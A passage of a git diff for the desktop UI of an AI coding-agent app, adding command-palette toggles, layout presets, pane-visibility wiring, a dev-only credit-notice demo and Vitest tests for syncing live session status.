+  // ⌘K is the guaranteed door in (alongside the rebindable ⌘⇧S).
+  paletteToggle({
+    id: 'view.toggleStatusbar',
+    label: 'Toggle status bar',
+    action: 'view.toggleStatusbar',
+    icon: PanelBottom,
+    keywords: ['status bar', 'statusbar', 'bottom bar', 'hide', 'show', 'chrome'],
+    get: () => $statusbarVisible.get(),
+    set: enabled => $statusbarVisible.set(enabled)
+  }),
+  // The keybind panel's non-titlebar door (the keyboard icon is gone).
+  {
+    id: 'keybinds.panel',
+    area: PALETTE_AREA,
+    data: {
+      id: 'keybinds.panel',
+      label: 'Keyboard shortcuts',
+      keywords: ['keybinds', 'shortcuts', 'hotkeys', 'keyboard'],
+      run: () => window.dispatchEvent(new CustomEvent('clawcodex:open-keybinds'))
+    } satisfies PaletteContribution
+  },
+  // Profile sharing: bundle the active profile (config, skills, theme, layout)
+  // into a portable archive, or adopt someone else's. Both open native dialogs,
+  // so the palette closing on select is correct.
+  {
+    id: 'profile.export',
+    area: PALETTE_AREA,
+    data: {
+      id: 'profile.export',
+      label: 'Export profile…',
+      icon: Upload,
+      keywords: ['profile', 'export', 'share', 'bundle', 'theme', 'settings', 'backup'],
+      run: () => void runExportProfileFlow()
+    } satisfies PaletteContribution
+  },
+  {
+    id: 'profile.import',
+    area: PALETTE_AREA,
+    data: {
+      id: 'profile.import',
+      label: 'Import profile…',
+      icon: Download,
+      keywords: ['profile', 'import', 'share', 'bundle', 'archive', 'restore'],
+      run: () => void runImportProfileFlow()
+    } satisfies PaletteContribution
+  }
+])
+
+// ---------------------------------------------------------------------------
+// Layout presets — CHAT (main) always dominates.
+// ---------------------------------------------------------------------------
+
+// The REAL default: sessions left, chat main, and the right sidebars in column
+// order main | … | review | file-browser (files outermost). Each is its OWN
+// zone. Review collapses to nothing while its pane is hidden (⌘G off).
+//
+// Preview tiles are DYNAMIC panes (like session tiles), so no preset names one:
+// they're registered by watchPreviewTiles as tabs open, and dockPaneBeside lands
+// each one directly beside the file tree wherever that currently lives — so a
+// file double-click still slides a preview open as its own pane next to the
+// tree, never as a tab stacked into the files sidebar.
+const DEFAULT_TREE = split(
+  'row',
+  [
+    group(['sessions'], { id: 'grp-sessions' }),
+    group(['workspace'], { id: 'grp-main' }),
+    split(
+      'column',
+      [
+        split(
+          'row',
+          [group(['review'], { id: 'grp-review' }), group(['files'], { id: 'grp-files' })],
+          [1, 1.2],
+          'spl-rail'
+        ),
+        group(['terminal'], { id: 'grp-terminal' })
+      ],
+      [1.6, 1],
+      'spl-right'
+    )
+  ],
+  [1, 3.4, 1.25],
+  'spl-root'
+)
+
+const FOCUS_TREE = split('row', [group(['sessions']), group(['workspace', 'files', 'review', 'terminal'])], [1, 4.6])
+
+const TERMINAL_TREE = split(
+  'column',
+  [
+    split('row', [group(['sessions']), group(['workspace']), group(['files', 'review'])], [1, 3.2, 1.2]),
+    group(['terminal'])
+  ],
+  [3, 1]
+)
+
+const QUAD_TREE = split(
+  'column',
+  [
+    split('row', [group(['sessions', 'files']), group(['workspace'])], [1, 3]),
+    split('row', [group(['terminal']), group(['review'])], [1.4, 1])
+  ],
+  [3, 1]
+)
+
+registry.registerMany([
+  { id: 'default', area: 'layouts', title: 'Default', order: 0, data: DEFAULT_TREE },
+  { id: 'focus', area: 'layouts', title: 'Focus', order: 10, data: FOCUS_TREE },
+  { id: 'terminal-deck', area: 'layouts', title: 'Terminal deck', order: 20, data: TERMINAL_TREE },
+  { id: 'quad', area: 'layouts', title: 'Quad', order: 30, data: QUAD_TREE }
+])
+
+declareDefaultTree(DEFAULT_TREE)
+
+// Bundled plugins load AFTER core, so a same-id contribution from a plugin
+// deliberately overrides the core default (last writer wins). Third-party
+// runtime plugins will flow through the same discovery seam.
+discoverBundledPlugins()
+
+// Plugin panes join the tree by their `placement` hint the moment they
+// register — incl. runtime plugins arriving seconds after boot.
+watchContributedPanes()
+
+// Session + route (page) tiles: persisted splits register panes docked beside
+// main.
+watchSessionTiles()
+watchRouteTiles()
+watchPreviewTiles()
+
+// Composer pop-out state is keyed by layout zone, so drop entries for zones the
+// user has since closed or merged away — otherwise a long-lived install keeps a
+// row for every split it has ever had.
+$layoutTree.subscribe(tree => {
+  if (tree) {
+    pruneComposerPopoutZones(groupLeafIds(tree))
+  }
+})
+
+// Mirror sidebar pins into the backend keep-flag so the auto-archive sweep
+// never hides a pinned chat (and pre-existing pins migrate transparently).
+watchSessionPins()
+
+// The main tab reads as its SESSION (the loaded title, "New session" on a
+// fresh draft) — a stack of main + tiles is then just a row of session names.
+// register() replaces same-id in place; the render fn is the shared constant
+// above, so the pane content never remounts.
+const syncWorkspaceTitle = () => {
+  const selected = $selectedStoredSessionId.get()
+  const stored = selected ? $sessions.get().find(s => sessionMatchesStoredId(s, selected)) : null
+
+  registry.register({
+    id: 'workspace',
+    area: 'panes',
+    title: stored ? storedSessionTitle(stored) : 'New session',
+    data: {
+      // The tab's status dot — the SAME primitive the sidebar row and session
+      // tiles render, so the main tab never disagrees with its sidebar row. No
+      // dot on a fresh draft (no session yet).
+      tabLead: selected ? () => <SessionStatusDot session={stored} storedSessionId={selected} /> : undefined,
+      // Pages aren't tab-able: the main zone's bar stands down while one shows.
+      headerVeto: $workspaceIsPage.get(),
+      placement: 'main',
+      minWidth: '22vw',
+      tabDrag: workspaceTabDrag,
+      tabWrap: wrapWorkspaceTab,
+      uncloseable: true
+    },
+    render: renderWorkspacePane
+  })
+}
+
+$selectedStoredSessionId.listen(syncWorkspaceTitle)
+$sessions.listen(syncWorkspaceTitle)
+$workspaceIsPage.listen(syncWorkspaceTitle)
+
+// Layout reset collapses every session tile into main as a tab (after the
+// workspace) instead of re-scattering them — pre-placed before adoption.
+registerLayoutResetHandler(stackSessionTilesIntoMain)
+
+// ---------------------------------------------------------------------------
+// Titlebar chrome toggles -> tree. The TitlebarControls buttons keep their
+// store semantics ($sidebarOpen / $fileBrowserOpen / $panesFlipped); the tree
+// reacts — a hidden pane's zone collapses (content stays mounted), the flip
+// toggle mirrors the root row.
+// ---------------------------------------------------------------------------
+
+// HIDE-STYLE PANES (files, review, preview): the binding lives in the tree
+// store — bindPaneVisibility — alongside bindToolPaneCollapse, so both are
+// testable against the real function instead of a copy.
+
+// TOOL PANELS (terminal, logs): the binding lives in the tree store —
+// bindToolPaneCollapse — so the boot rule it encodes is testable against the
+// real function instead of a copy. See its docblock for the semantics.
+
+// SIDES have one source of truth: the TREE. The legacy $panesFlipped flag is
+// DERIVED from where the sessions zone actually sits (TitlebarControls maps
+// its left/right buttons through it), so dragging sessions across — or
+// applying a mirrored preset — remaps the buttons automatically. The flip
+// action (⌘\ / titlebar) mirrors the tree only when they disagree.
+const sessionsOnRight = () => {
+  const tree = $layoutTree.get()
+
+  if (!tree) {
+    return null
+  }
+
+  const order = allPaneIds(tree)
+  const sessions = order.indexOf('sessions')
+  const main = order.indexOf('workspace')
+
+  return sessions >= 0 && main >= 0 ? sessions > main : null
+}
+
+$layoutTree.subscribe(() => {
+  const flipped = sessionsOnRight()
+
+  if (flipped !== null && flipped !== $panesFlipped.get()) {
+    $panesFlipped.set(flipped)
+  }
+})
+
+$panesFlipped.listen(flipped => {
+  const current = sessionsOnRight()
+
+  if (current !== null && current !== flipped) {
+    mirrorLayoutTree()
+  }
+})
+
+// POSITIONAL side toggles (titlebar buttons, ⌘B / ⌘J): $sidebarOpen ≙ the
+// LEFT side of the main zone, $fileBrowserOpen ≙ the RIGHT — everything on
+// that side hides together, whatever panes have been rearranged there.
+bindTreeSideVisibility('left', $sidebarOpen, setSidebarOpen)
+bindTreeSideVisibility('right', $fileBrowserOpen, setFileBrowserOpen)
+
+// Workspace-scoped surfaces: the file tree and git diff only mean something
+// inside a project. A detached chat (no cwd) hides them — their zones
+// collapse and the chat absorbs the width; picking a project brings them
+// back. The terminal is NOT workspace-gated: unlike the old shell (where it
+// rode the rail's row and vanished with it), its zone stands on its own.
+const $hasWorkspace = computed($currentCwd, cwd => Boolean(cwd.trim()))
+
+// The tree pane's own presence tracks ⌘J directly, not just the column's
+// collapse — otherwise a pane revealed into that shared column would drag the
+// tree along with it.
+//
+// Both get a CLOSER and an OPENER. The closer keeps ⌘J/⌘G truthful when the
+// pane is closed from the tab menu; the opener is its mirror, so bringing the
+// pane back through the tree (the toggle's reveal path, the rail, a preset)
+// writes the store too. Without the opener the boolean went stale the moment
+// anything but the toggle showed the pane — the divergence this whole change
+// is about.
+bindPaneVisibility(
+  'files',
+  computed([$hasWorkspace, $fileBrowserOpen], (workspace, open) => workspace && open),
+  () => setFileBrowserOpen(false),
+  () => setFileBrowserOpen(true)
+)
+// ⌘G — the review sidebar appears/disappears (and comes to the front).
+bindPaneVisibility(
+  'review',
+  computed([$reviewOpen, $hasWorkspace], (open, workspace) => open && workspace),
+  closeReview,
+  openReview
+)
+// ⌃` / statusbar toggle — the terminal COLLAPSES to a rail (tab stays), not
+// hides; PTYs stay alive while collapsed (see PersistentTerminal).
+bindToolPaneCollapse(
+  'terminal',
+  $terminalTakeover,
+  () => setTerminalTakeover(false),
+  () => setTerminalTakeover(true)
+)
+// ⌘K door onto the same pane the keybind and statusbar pill flip — was a
+// one-way "open" row under Go to, so it never showed on/off and couldn't hide.
+// Reads the TREE like every other pane toggle: `$terminalTakeover` stays true
+// behind a stacked sibling tab or a minimized zone, which would light the row
+// "on" for a terminal that isn't on screen.
+registry.register(
+  paletteToggle({
+    id: 'view.showTerminal',
+    label: 'Toggle terminal',
+    action: 'view.showTerminal',
+    icon: Terminal,
+    keywords: ['terminal', 'shell', 'console', 'pty'],
+    get: () => isPaneVisible('terminal'),
+    set: () => togglePaneVisible('terminal')
+  })
+)
+
+// Logs are ⌘K-ONLY chrome: the pane contribution EXISTS only while $logsOpen
+// is on. Off (the default) keeps logs out of the registry and the tree
+// entirely — no secondary tab riding the terminal strip, no preset or
+// adoption path that resurrects it. Session-only on purpose (not persisted):
+// a fresh boot never re-opens logs automatically. The palette toggle is the
+// single door in; tab ✕ / ⌘W / the toggle itself remove it again.
+const $logsOpen = atom(false)
+
+let unregisterLogsPane: (() => void) | null = null
+
+const syncLogsPane = (open: boolean) => {
+  if (open) {
+    unregisterLogsPane ??= registry.register({
+      id: 'logs',
+      area: 'panes',
+      title: 'logs',
+      // Same tool-panel sizing rule as the terminal above — no minHeight, so
+      // the sash floors it at COLLAPSED_ZONE_PX and folds the zone to its rail
+      // rather than leaving a sliver. dock: its OWN zone beside the terminal —
+      // never a tab in the terminal's strip.
+      data: {
+        placement: 'bottom',
+        dock: { pane: 'terminal', pos: 'right' },
+        height: '20vh',
+        maxHeight: '80vh'
+      },
+      render: () => idle(<LogsPane />)
+    })
+    // Summoning logs is explicit intent — front it (un-dismisses if a ✕ close
+    // left a dismissal record behind).
+    revealTreePane('logs')
+  } else {
+    unregisterLogsPane?.()
+    unregisterLogsPane = null
+
+    // No dismissal record — the next toggle-on must re-adopt cleanly. Also
+    // sweeps 'logs' out of persisted trees from before it was summon-only.
+    // Guarded: removePane rebuilds the tree even for an absent pane, and a
+    // no-op boot sweep would commit (and persist) a fresh identical tree.
+    const tree = $layoutTree.get()
+
+    if (tree && allPaneIds(tree).includes('logs')) {
+      removeTreePane('logs')
+    }
+  }
+}
+
+// Tool-panel tab semantics (✕ / ⌘W route through the store) so the palette
+// toggle stays truthful either way.
+markCollapsePane('logs')
+registerPaneCloser('logs', () => $logsOpen.set(false))
+registerPaneOpener('logs', () => $logsOpen.set(true))
+syncLogsPane($logsOpen.get())
+$logsOpen.listen(syncLogsPane)
+
+registry.register(
+  paletteToggle({
+    id: 'logs.toggle',
+    label: 'Toggle logs',
+    icon: FileText,
+    keywords: ['logs', 'agent log', 'tail', 'debug'],
+    // On-screen, not the store's boolean. Summon-only keeps the two in step
+    // while logs sits in its own zone, but the user can still drag it into the
+    // terminal's strip or minimize its zone — and then `$logsOpen` reads true
+    // with nothing visible, so the row would show "on" and its press would
+    // spend itself re-asserting a value it already held.
+    get: () => isPaneVisible('logs'),
+    set: () => togglePaneVisible('logs')
+  })
+)
+
+// YOLO (dangerous-command approval bypass) is a status-bar zap and a /yolo
+// command; ⌘K is the third door onto the SAME store function, so a user who
+// lives in the palette never has to hunt for the pill.
+registry.register(
+  paletteToggle({
+    id: 'session.yolo',
+    label: 'Toggle yolo',
+    icon: Zap,
+    keywords: ['yolo', 'approvals', 'auto-approve', 'bypass', 'dangerous', 'commands'],
+    get: () => $yoloActive.get(),
+    set: enabled => void setYoloEnabled(enabled).catch(() => undefined)
+  })
+)
+
+// Sessions/files Close = collapse their SIDE (⌘B/⌘J truthful, titlebar button
+// flips back) — but only while the pane actually lives in that root side
+// column. Dragged next to main, a side collapse can't hide it (the collapse
+// skips main-bearing children), so Close falls back to dismissal there —
+// otherwise ⌘W/Close silently no-op.
+registerPaneCloser('sessions', () =>
+  paneRootSide('sessions') === 'left' ? setSidebarOpen(false) : dismissTreePane('sessions')
+)
+registerPaneCloser('files', () =>
+  paneRootSide('files') === 'right' ? setFileBrowserOpen(false) : dismissTreePane('files')
+)
+
+// ---------------------------------------------------------------------------
+
+interface TitlebarSlotProps {
+  area: 'titleBar.center' | 'titleBar.left' | 'titleBar.right'
+  className: string
+  style?: CSSProperties
+}
+
+function TitlebarSlot({ area, className, style }: TitlebarSlotProps) {
+  const items = useContributions(area)
+
+  if (items.length === 0) {
+    return null
+  }
+
+  return (
+    <div className={className} style={style}>
+      <Slot area={area} />
+    </div>
+  )
+}
+
+export function ContribController() {
+  const sidebarOpen = useStore($sidebarOpen)
+  const statusbarVisible = useStore($statusbarVisible)
+
+  return (
+    <SidebarProvider
+      className="h-screen min-h-0 flex-col bg-background"
+      onOpenChange={setSidebarOpen}
+      open={sidebarOpen}
+      style={{ '--sidebar-width': '100%' } as CSSProperties}
+    >
+      <ContribWiring>
+        <div
+          className="flex h-screen min-h-0 w-screen flex-col bg-(--ui-bg-chrome) text-(--ui-text-primary)"
+          style={{ '--titlebar-height': '0px' } as CSSProperties}
+        >
+          {/* Title bar: fixed chrome outside the grid, composable via slots.
+              Layout contract (no contribution can break it):
+                - a full-bar DRAG BASE underneath (pointer-events-none, like
+                  AppShell's drag strips) — everywhere without content drags
+                  the window;
+                - each slot region is width-fit, no-drag, pointer-events-auto,
+                  so every contribution is clickable by construction;
+                - LEFT/RIGHT slots align to the MAIN PANE's geometry via the
+                  tree-published --workspace-left/right vars (pure CSS, no rect
+                  threading), clamped to clear the REAL TitlebarControls
+                  clusters (fixed, z-70); center is truly window-centered. */}
+          <div className="relative flex h-[34px] shrink-0 items-center bg-(--ui-sidebar-surface-background) text-xs">
+            {/* Drag strips, AppShell-style: cut to AVOID the fixed control
+                clusters instead of overlapping them — Electron's no-drag
+                carve-out of fixed/transformed elements is unreliable, so a
+                full-bar drag base kills their clicks. In-flow slot content
+                still carves via its own no-drag wrapper (the same pattern as
+                the app's session-title button). */}
+            <div
+              aria-hidden="true"
+              className="pointer-events-none absolute inset-y-0 left-0 w-(--titlebar-controls-left,14px) [-webkit-app-region:drag]"
+            />
+            <div
+              aria-hidden="true"
+              className="pointer-events-none absolute inset-y-0 left-[calc(var(--titlebar-controls-left,14px)+(var(--titlebar-control-size,1.25rem)*2)+0.75rem)] right-[calc(var(--titlebar-tools-right,0.75rem)+var(--titlebar-tools-width,5.5rem)+0.75rem)] [-webkit-app-region:drag]"
+            />
+            <TitlebarSlot
+              area="titleBar.left"
+              className="pointer-events-auto absolute z-10 flex w-max items-center gap-2 [-webkit-app-region:no-drag]"
+              style={{
+                left: 'max(calc(var(--workspace-left, 0px) + 0.5rem), calc(var(--titlebar-controls-left, 14px) + 2 * var(--titlebar-control-size, 1.25rem) + 1rem))'
+              }}
+            />
+            <TitlebarSlot
+              area="titleBar.center"
+              className="pointer-events-auto absolute left-1/2 top-1/2 z-10 flex w-max -translate-x-1/2 -translate-y-1/2 items-center gap-2 [-webkit-app-region:no-drag]"
+            />
+            <TitlebarSlot
+              area="titleBar.right"
+              className="pointer-events-auto absolute z-10 flex w-max items-center gap-2 [-webkit-app-region:no-drag]"
+              style={{
+                right:
+                  'max(calc(var(--workspace-right, 0px) + 0.5rem), calc(var(--titlebar-tools-right, 0.75rem) + 4 * (var(--titlebar-control-size, 1.25rem) + 0.25rem) + 0.5rem))'
+              }}
+            />
+          </div>
+
+          <LayoutTreeRoot />
+
+          {/* "Close running tab?" — the busy/input-blocked tile close gate. */}
+          <SessionTileCloseConfirm />
+
+          {/* The REAL statusbar (model pill, command center, agents, …) with
+              statusBar.left/right contributions merged in. Unmounted — not
+              just hidden — while toggled off, so its 15s status poll and the
+              per-turn readouts stop with it. */}
+          {statusbarVisible && <WiredPane part="statusbar" />}
+        </div>
+      </ContribWiring>
+    </SidebarProvider>
+  )
+}
+
+// Referenced type kept for plugin authors' reference (payload shape of
+// statusBar.* contributions).
+export type { StatusbarItem }
diff --git a/ui-desktop/src/app/contrib/dev/credits-notice-demo.ts b/ui-desktop/src/app/contrib/dev/credits-notice-demo.ts
new file mode 100644
index 000000000..9e5d0e3c3
--- /dev/null
+++ b/ui-desktop/src/app/contrib/dev/credits-notice-demo.ts
@@ -0,0 +1,128 @@
+// Dev-only: drive the credit-notice UX without a backend that can hit real
+// usage bands. Each trigger emits ONE synthetic `notification.show` /
+// `notification.clear` gateway event through the real fan-out
+// (`emitLocalGatewayEvent`), so it exercises the actual dispatcher branch in
+// `use-message-stream/gateway-event.ts` — toast render, key-replacement
+// escalation, TTL self-dismiss, native OS notification, and billing re-poll.
+//
+// Installed only under `import.meta.env.DEV` (see contrib/wiring.tsx), so none
+// of this ships in a production build.
+
+import type { GatewayEvent } from '@clawcodex/shared'
+
+import { PALETTE_AREA, type PaletteContribution } from '@/app/command-palette/contrib'
+import { registry } from '@/contrib/registry'
+import { CreditCard } from '@/lib/icons'
+import { emitLocalGatewayEvent } from '@/store/gateway'
+import { $activeSessionId } from '@/store/session'
+
+interface NoticeStep {
+  key: string
+  level: string
+  kind: 'sticky' | 'ttl'
+  text: string
+  ttl_ms?: number
+}
+
+// Walks the same lifecycle the Nous credits tracker drives: usage escalates in
+// place (50→75→90, one key), then grant-spent, then the depleted/restored pair.
+// Wraps around. These are all separate SHOW steps; the stepper auto-clears the
+// previous notice when the key changes, so the demo shows one toast at a time
+// (real usage CAN stack these, but that's noise when you're eyeballing a single
+// transition). The same-key usage steps still demonstrate in-place escalation.
+const STEPS: readonly NoticeStep[] = [
+  { key: 'credits.usage', kind: 'sticky', level: 'info', text: "• You've used $110.00 of your $220.00 cap" },
+  { key: 'credits.usage', kind: 'sticky', level: 'warn', text: "⚠ You've used $165.00 of your $220.00 cap" },
+  { key: 'credits.usage', kind: 'sticky', level: 'warn', text: "⚠ You've used $198.00 of your $220.00 cap" },
+  { key: 'credits.grant_spent', kind: 'sticky', level: 'info', text: '• Grant spent · $12.00 top-up left' },
+  { key: 'credits.depleted', kind: 'sticky', level: 'error', text: '✕ Credit access paused · run /topup to top up' },
+  { key: 'credits.restored', kind: 'ttl', level: 'success', text: '✓ Credit access restored', ttl_ms: 8000 }
+]
+
+let cursor = 0
+let lastShownKey: null | string = null
+
+function clearNotice(key: string): void {
+  emitLocalGatewayEvent({
+    payload: { key },
+    session_id: $activeSessionId.get() ?? '',
+    type: 'notification.clear'
+  } as GatewayEvent)
+}
+
+function showNotice(step: NoticeStep): void {
+  emitLocalGatewayEvent({
+    payload: {
+      id: `${step.key}:${Date.now()}`,
+      key: step.key,
+      kind: step.kind,
+      level: step.level,
+      text: step.text,
+      ttl_ms: step.ttl_ms ?? null
+    },
+    session_id: $activeSessionId.get() ?? '',
+    type: 'notification.show'
+  } as GatewayEvent)
+}
+
+/** Fire the next notice in the scripted sequence, wrapping at the end. */
+export function stepCreditsNoticeDemo(): void {
+  const step = STEPS[cursor % STEPS.length]
+
+  // One toast at a time: retire the previous notice when we move to a new key.
+  // (Same-key steps skip this, so the usage line still escalates in place.)
+  if (lastShownKey && lastShownKey !== step.key) {
+    clearNotice(lastShownKey)
+  }
+
+  showNotice(step)
+  lastShownKey = step.key
+  cursor += 1
+}
+
+// The hotkey: Ctrl+Shift+C on every platform (Ctrl, not Cmd, so it can't clash
+// with a system Cmd chord and works the same on Windows/Linux). Matched on
+// `code` so it's keyboard-layout independent, and captured before the composer
+// so a focused input can't swallow it.
+function isTriggerChord(e: KeyboardEvent): boolean {
+  return e.ctrlKey && e.shiftKey && !e.metaKey && !e.altKey && e.code === 'KeyC'
+}
+
+/**
+ * Install the dev trigger: a capture-phase hotkey (Ctrl+Shift+C), a ⌘K palette
+ * entry, and a `window.__creditsDemo()` console hook. Returns a disposer.
+ */
+export function installCreditsNoticeDemo(): () => void {
+  const onKeyDown = (e: KeyboardEvent) => {
+    if (!isTriggerChord(e)) {
+      return
+    }
+
+    e.preventDefault()
+    e.stopPropagation()
+    stepCreditsNoticeDemo()
+  }
+
+  window.addEventListener('keydown', onKeyDown, { capture: true })
+  ;(window as unknown as { __creditsDemo?: () => void }).__creditsDemo = stepCreditsNoticeDemo
+
+  const disposePalette = registry.register({
+    id: 'dev.creditsNotice',
+    area: PALETTE_AREA,
+    data: {
+      id: 'dev.creditsNotice',
+      icon: CreditCard,
+      keywords: ['credits', 'notice', 'toast', 'billing', 'dev', 'demo'],
+      label: 'Dev: cycle credit notices',
+      run: stepCreditsNoticeDemo
+    } satisfies PaletteContribution
+  })
+
+  console.info('[dev] credit-notice demo ready — press Ctrl+Shift+C, or run window.__creditsDemo()')
+
+  return () => {
+    window.removeEventListener('keydown', onKeyDown, { capture: true })
+    disposePalette()
+    delete (window as unknown as { __creditsDemo?: () => void }).__creditsDemo
+  }
+}
diff --git a/ui-desktop/src/app/contrib/hooks/live-status-reap.test.ts b/ui-desktop/src/app/contrib/hooks/live-status-reap.test.ts
new file mode 100644
index 000000000..8b4688331
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/live-status-reap.test.ts
@@ -0,0 +1,79 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $selectedStoredSessionId, $unreadFinishedSessionIds } from '@/store/session'
+import { $attentionSessionIds, $workingSessionIds, clearAllSessionStates } from '@/store/session-states'
+
+import { rehydrateLiveSessionStatuses } from './use-background-sync'
+
+/**
+ * `session.active_list` is the authoritative snapshot of what is RUNNING in the
+ * polled gateway process. A session that finished while Desktop was looking
+ * elsewhere — or whose runtime id was recycled by a backend respawn — simply
+ * stops appearing in the response. Absence is therefore a completion signal,
+ * not "no news": if nothing reaps it, the row spins forever and the
+ * busy→idle edge that paints the green "your turn" dot never fires.
+ */
+describe('rehydrateLiveSessionStatuses — reaping vanished runtimes', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    $selectedStoredSessionId.set(null)
+    $unreadFinishedSessionIds.set([])
+  })
+
+  afterEach(() => {
+    vi.clearAllTimers()
+    vi.useRealTimers()
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+  })
+
+  it('clears a working session that disappears from the live snapshot', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-a', session_key: 'stored-a', status: 'working' }]
+    })
+
+    expect($workingSessionIds.get()).toEqual(['stored-a'])
+
+    // The turn finished and the gateway reaped the session between polls.
+    rehydrateLiveSessionStatuses({ sessions: [] })
+
+    expect($workingSessionIds.get()).toEqual([])
+  })
+
+  it('fires the unread "your turn" marker for a vanished background session', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-b', session_key: 'stored-b', status: 'working' }]
+    })
+
+    rehydrateLiveSessionStatuses({ sessions: [] })
+
+    expect($unreadFinishedSessionIds.get()).toEqual(['stored-b'])
+  })
+
+  it('clears a blocked session that disappears from the live snapshot', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-c', session_key: 'stored-c', status: 'waiting' }]
+    })
+
+    expect($attentionSessionIds.get()).toEqual(['stored-c'])
+
+    rehydrateLiveSessionStatuses({ sessions: [] })
+
+    expect($attentionSessionIds.get()).toEqual([])
+  })
+
+  it('leaves runtimes this poll never seeded alone', () => {
+    // A background PROFILE's sessions are served by a different gateway and
+    // never appear in this profile's active_list. Reaping them would dark out
+    // every other profile's running rows.
+    rehydrateLiveSessionStatuses(
+      { sessions: [{ id: 'runtime-other', session_key: 'stored-other', status: 'working' }] },
+      Date.now(),
+      'other'
+    )
+
+    rehydrateLiveSessionStatuses({ sessions: [] }, Date.now(), 'default')
+
+    expect($workingSessionIds.get()).toEqual(['stored-other'])
+  })
+})
diff --git a/ui-desktop/src/app/contrib/hooks/live-status-spinner.test.ts b/ui-desktop/src/app/contrib/hooks/live-status-spinner.test.ts
new file mode 100644
index 000000000..4fcad3b1a
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/live-status-spinner.test.ts
@@ -0,0 +1,77 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $selectedStoredSessionId, $unreadFinishedSessionIds } from '@/store/session'
+import { $workingSessionIds, clearAllSessionStates } from '@/store/session-states'
+
+import { rehydrateLiveSessionStatuses, resetLiveRuntimeTracking } from './use-background-sync'
+
+/**
+ * (C) The sidebar spinner is driven by `$workingSessionIds`, which is keyed by
+ * STORED session id. A turn that STARTS while Desktop isn't receiving stream
+ * events — a background profile, a degraded remote socket, a session opened on
+ * another surface — is only ever learned about through the `session.active_list`
+ * poll. If that poll can't seed a row the renderer has never seen, the thread
+ * name never gets its arc even though the backend is plainly working.
+ */
+describe('rehydrateLiveSessionStatuses — seeding a turn the renderer never saw start', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    $selectedStoredSessionId.set(null)
+    $unreadFinishedSessionIds.set([])
+    resetLiveRuntimeTracking()
+  })
+
+  afterEach(() => {
+    vi.clearAllTimers()
+    vi.useRealTimers()
+    clearAllSessionStates()
+    resetLiveRuntimeTracking()
+    $unreadFinishedSessionIds.set([])
+  })
+
+  it('shows the spinner for a turn that started with no stream events', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-cold', session_key: 'stored-cold', status: 'working' }]
+    })
+
+    expect($workingSessionIds.get()).toContain('stored-cold')
+  })
+
+  it('keeps the spinner across polls while the turn is still running', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-cold', session_key: 'stored-cold', status: 'working' }]
+    })
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-cold', session_key: 'stored-cold', status: 'working' }]
+    })
+
+    expect($workingSessionIds.get()).toContain('stored-cold')
+  })
+
+  it('shows the spinner when a runtime id is recycled onto a new stored session', () => {
+    // A respawned backend can mint the same runtime id for a different stored
+    // session. The row for the NEW stored id must light up, not the stale one.
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-1', session_key: 'stored-old', status: 'working' }]
+    })
+
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-1', session_key: 'stored-new', status: 'working' }]
+    })
+
+    expect($workingSessionIds.get()).toContain('stored-new')
+    expect($workingSessionIds.get()).not.toContain('stored-old')
+  })
+
+  it('leaves a starting session idle — the agent build is not proof of a turn', () => {
+    // `starting` = `agent_build_started` without `agent_ready`. _start_agent_build
+    // runs on the first prompt OR any incidental RPC that needs the agent, so it
+    // is not proof of a turn — lighting the spinner here would fire on merely
+    // opening a session. A real turn arrives as `working`.
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-boot', session_key: 'stored-boot', status: 'starting' }]
+    })
+
+    expect($workingSessionIds.get()).not.toContain('stored-boot')
+  })
+})
diff --git a/ui-desktop/src/app/contrib/hooks/use-background-sync.test.ts b/ui-desktop/src/app/contrib/hooks/use-background-sync.test.ts
new file mode 100644
index 000000000..22a46927a
--- /dev/null
+++ b/ui-desktop/src/app/contrib/hooks/use-background-sync.test.ts
@@ -0,0 +1,75 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $attentionSessionIds,
+  $stalledSessionIds,
+  $workingSessionIds,
+  clearAllSessionStates,
+  SESSION_WATCHDOG_TIMEOUT_MS
+} from '@/store/session-states'
+
+import { rehydrateLiveSessionStatuses } from './use-background-sync'
+
+describe('rehydrateLiveSessionStatuses', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+  })
+
+  afterEach(() => {
+    vi.clearAllTimers()
+    vi.useRealTimers()
+    clearAllSessionStates()
+  })
+
+  it('restores running sessions after reconnect without opening them', () => {
+    const now = 1_800_000_000_000
+
+    rehydrateLiveSessionStatuses(
+      {
+        sessions: [
+          {
+            id: 'runtime-overnight',
+            last_active: (now - SESSION_WATCHDOG_TIMEOUT_MS - 1_000) / 1000,
+            session_key: 'overnight-exam-learning',
+            status: 'working'
+          },
+          {
+            id: 'runtime-cleanup',
+            last_active: now / 1000,
+            session_key: 'temporary-file-cleanup',
+            status: 'working'
+          }
+        ]
+      },
+      now
+    )
+
+    expect($workingSessionIds.get()).toEqual(['overnight-exam-learning', 'temporary-file-cleanup'])
+    expect($stalledSessionIds.get()).toEqual(['overnight-exam-learning'])
+    expect($attentionSessionIds.get()).toEqual([])
+  })
+
+  it('restores a waiting turn as working and needing attention', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [{ id: 'runtime-needs-user', session_key: 'needs-user', status: 'waiting' }]
+    })
+
+    expect($workingSessionIds.get()).toEqual(['needs-user'])
+    expect($attentionSessionIds.get()).toEqual(['needs-user'])
+    expect($stalledSessionIds.get()).toEqual([])
+  })
+
+  it('ignores idle, starting, and malformed live-session rows', () => {
+    rehydrateLiveSessionStatuses({
+      sessions: [
+        { id: 'runtime-idle', session_key: 'idle-session', status: 'idle' },
+        { id: 'runtime-starting', session_key: 'starting-session', status: 'starting' },
